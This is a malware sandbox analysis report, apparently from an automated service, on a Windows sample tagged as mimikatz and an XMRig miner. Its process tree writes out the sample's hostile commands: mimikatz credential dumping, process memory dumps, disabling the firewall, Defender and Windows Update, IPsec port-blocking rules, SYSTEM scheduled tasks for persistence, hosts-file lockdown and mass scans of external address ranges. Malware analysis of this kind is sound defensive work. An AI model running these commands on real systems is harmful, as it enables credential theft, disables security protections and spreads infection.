Overview

overview

10

Static

static

10

2025-01-18...tz.exe

windows7-x64

10

2025-01-18...tz.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-01-2025 00:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-01-18_a668f67c7066c4e7da820e354a462553_hacktools_icedid_mimikatz.exe

  • Size

    9.2MB

  • MD5

    a668f67c7066c4e7da820e354a462553

  • SHA1

    1605f0a3ddd6f5318dae7570fcf7669cfff3c3de

  • SHA256

    024619d2ce0b2ab0b53737c5beb6dcda0919c7987b0562a199c33d60d5b22a7a

  • SHA512

    3de617b2125706f14de6ca33160dc0fb2e5e834a33821096065e09702f09a5dfcdee6c40c5ffbcb50ece7cf5ec811b8b9caa489745718742f6ad0c9f509df069

  • SSDEEP

    196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score
10/10
mimikatzxmrigcredential_accessdiscoveryevasionexecutionminerpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Mimikatz family
    mimikatz
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Contacts a large (29553) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

    credential_access
  • XMRig Miner payload 12 IoCs
    miner
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 27 IoCs
  • Loads dropped DLL 12 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Creates a Windows Service
    persistence
  • Drops file in System32 directory 18 IoCs
  • UPX packed file 35 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • NSIS installer 3 IoCs
    installer
  • Modifies data under HKEY_USERS 41 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:1808
      • C:\Windows\TEMP\elnhjuuli\tlulbk.exe
        "C:\Windows\TEMP\elnhjuuli\tlulbk.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3988
    • C:\Users\Admin\AppData\Local\Temp\2025-01-18_a668f67c7066c4e7da820e354a462553_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2025-01-18_a668f67c7066c4e7da820e354a462553_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\wuzfiigi\ysugeag.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:3580
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2944
        • C:\Windows\wuzfiigi\ysugeag.exe
          C:\Windows\wuzfiigi\ysugeag.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1108
    • C:\Windows\wuzfiigi\ysugeag.exe
      C:\Windows\wuzfiigi\ysugeag.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1240
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2508
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1588
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1668
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:4440
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1684
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4312
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:3636
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:1292
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\ryivyizlv\vstkqubjh\wpcap.exe /S
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4204
          • C:\Windows\ryivyizlv\vstkqubjh\wpcap.exe
            C:\Windows\ryivyizlv\vstkqubjh\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:428
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4520
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1396
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3740
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                  PID:2168
              • C:\Windows\SysWOW64\net.exe
                net stop npf
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1856
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop npf
                  5⤵
                    PID:3988
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:4172
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:2868
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1248
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2956
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:644
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
              • System Location Discovery: System Language Discovery
              PID:548
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                  PID:3276
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:4380
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\ryivyizlv\vstkqubjh\lufbpnmgs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ryivyizlv\vstkqubjh\Scant.txt
                2⤵
                  PID:4880
                  • C:\Windows\ryivyizlv\vstkqubjh\lufbpnmgs.exe
                    C:\Windows\ryivyizlv\vstkqubjh\lufbpnmgs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ryivyizlv\vstkqubjh\Scant.txt
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:3564
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c C:\Windows\ryivyizlv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ryivyizlv\Corporate\log.txt
                  2⤵
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:3748
                  • C:\Windows\ryivyizlv\Corporate\vfshost.exe
                    C:\Windows\ryivyizlv\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1368
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lkbevrlbu" /ru system /tr "cmd /c C:\Windows\ime\ysugeag.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:556
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4840
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /sc minute /mo 1 /tn "lkbevrlbu" /ru system /tr "cmd /c C:\Windows\ime\ysugeag.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:4256
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ruugiifbq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\wuzfiigi\ysugeag.exe /p everyone:F"
                  2⤵
                    PID:5112
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2176
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "ruugiifbq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\wuzfiigi\ysugeag.exe /p everyone:F"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:748
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "inqtbitvs" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\elnhjuuli\tlulbk.exe /p everyone:F"
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:4392
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4792
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "inqtbitvs" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\elnhjuuli\tlulbk.exe /p everyone:F"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:3472
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:1364
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4196
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2644
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static set policy name=Bastards assign=y
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4808
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:732
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2372
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4004
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static set policy name=Bastards assign=y
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4640
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:372
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:1528
                  • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                    C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 784 C:\Windows\TEMP\ryivyizlv\784.dmp
                    2⤵
                    • Executes dropped EXE
                    • Modifies data under HKEY_USERS
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1616
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4380
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh ipsec static set policy name=Bastards assign=y
                    2⤵
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4320
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop SharedAccess
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1816
                    • C:\Windows\SysWOW64\net.exe
                      net stop SharedAccess
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4056
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop SharedAccess
                        4⤵
                          PID:4644
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh firewall set opmode mode=disable
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:1156
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh firewall set opmode mode=disable
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:3592
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh Advfirewall set allprofiles state off
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:3128
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh Advfirewall set allprofiles state off
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:1900
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop MpsSvc
                      2⤵
                        PID:4268
                        • C:\Windows\SysWOW64\net.exe
                          net stop MpsSvc
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:1368
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop MpsSvc
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2476
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c net stop WinDefend
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2076
                        • C:\Windows\SysWOW64\net.exe
                          net stop WinDefend
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:4584
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop WinDefend
                            4⤵
                              PID:4192
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop wuauserv
                          2⤵
                            PID:2728
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:2184
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:2172
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config MpsSvc start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1828
                            • C:\Windows\SysWOW64\sc.exe
                              sc config MpsSvc start= disabled
                              3⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:1712
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config SharedAccess start= disabled
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:4516
                            • C:\Windows\SysWOW64\sc.exe
                              sc config SharedAccess start= disabled
                              3⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:920
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config WinDefend start= disabled
                            2⤵
                              PID:2176
                              • C:\Windows\SysWOW64\sc.exe
                                sc config WinDefend start= disabled
                                3⤵
                                • Launches sc.exe
                                • System Location Discovery: System Language Discovery
                                PID:4332
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config wuauserv start= disabled
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:2236
                              • C:\Windows\SysWOW64\sc.exe
                                sc config wuauserv start= disabled
                                3⤵
                                • Launches sc.exe
                                PID:4284
                            • C:\Windows\TEMP\xohudmc.exe
                              C:\Windows\TEMP\xohudmc.exe
                              2⤵
                              • Executes dropped EXE
                              • Drops file in System32 directory
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of SetWindowsHookEx
                              PID:2736
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 64 C:\Windows\TEMP\ryivyizlv\64.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3588
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 1808 C:\Windows\TEMP\ryivyizlv\1808.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1976
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 2532 C:\Windows\TEMP\ryivyizlv\2532.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2204
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 2804 C:\Windows\TEMP\ryivyizlv\2804.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3636
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 2984 C:\Windows\TEMP\ryivyizlv\2984.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1760
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 700 C:\Windows\TEMP\ryivyizlv\700.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3132
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 3732 C:\Windows\TEMP\ryivyizlv\3732.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2760
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 3824 C:\Windows\TEMP\ryivyizlv\3824.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4844
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 3888 C:\Windows\TEMP\ryivyizlv\3888.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4852
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 3972 C:\Windows\TEMP\ryivyizlv\3972.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4472
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 2912 C:\Windows\TEMP\ryivyizlv\2912.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:644
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 4244 C:\Windows\TEMP\ryivyizlv\4244.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1624
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 3628 C:\Windows\TEMP\ryivyizlv\3628.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5080
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 1488 C:\Windows\TEMP\ryivyizlv\1488.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3556
                            • C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe
                              C:\Windows\TEMP\ryivyizlv\msytnnqlg.exe -accepteula -mp 1580 C:\Windows\TEMP\ryivyizlv\1580.dmp
                              2⤵
                              • Executes dropped EXE
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3236
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c C:\Windows\ryivyizlv\vstkqubjh\scan.bat
                              2⤵
                                PID:1116
                                • C:\Windows\ryivyizlv\vstkqubjh\thkiiirie.exe
                                  thkiiirie.exe TCP 181.215.0.1 181.215.255.255 445 512 /save
                                  3⤵
                                  • Executes dropped EXE
                                  • Drops file in Windows directory
                                  • System Location Discovery: System Language Discovery
                                  PID:4184
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                2⤵
                                  PID:1108
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                      PID:4336
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2716
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:1232
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                      3⤵
                                        PID:1528
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:732
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4260
                                  • C:\Windows\SysWOW64\fkjvgk.exe
                                    C:\Windows\SysWOW64\fkjvgk.exe
                                    1⤵
                                    • Executes dropped EXE
                                    PID:536
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\elnhjuuli\tlulbk.exe /p everyone:F
                                    1⤵
                                      PID:4480
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        2⤵
                                          PID:3184
                                        • C:\Windows\system32\cacls.exe
                                          cacls C:\Windows\TEMP\elnhjuuli\tlulbk.exe /p everyone:F
                                          2⤵
                                            PID:3276
                                        • C:\Windows\system32\cmd.EXE
                                          C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ysugeag.exe
                                          1⤵
                                            PID:2268
                                            • C:\Windows\ime\ysugeag.exe
                                              C:\Windows\ime\ysugeag.exe
                                              2⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetWindowsHookEx
                                              PID:872
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\wuzfiigi\ysugeag.exe /p everyone:F
                                            1⤵
                                              PID:3284
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                2⤵
                                                  PID:4108
                                                • C:\Windows\system32\cacls.exe
                                                  cacls C:\Windows\wuzfiigi\ysugeag.exe /p everyone:F
                                                  2⤵
                                                    PID:840
                                                • C:\Windows\system32\cmd.EXE
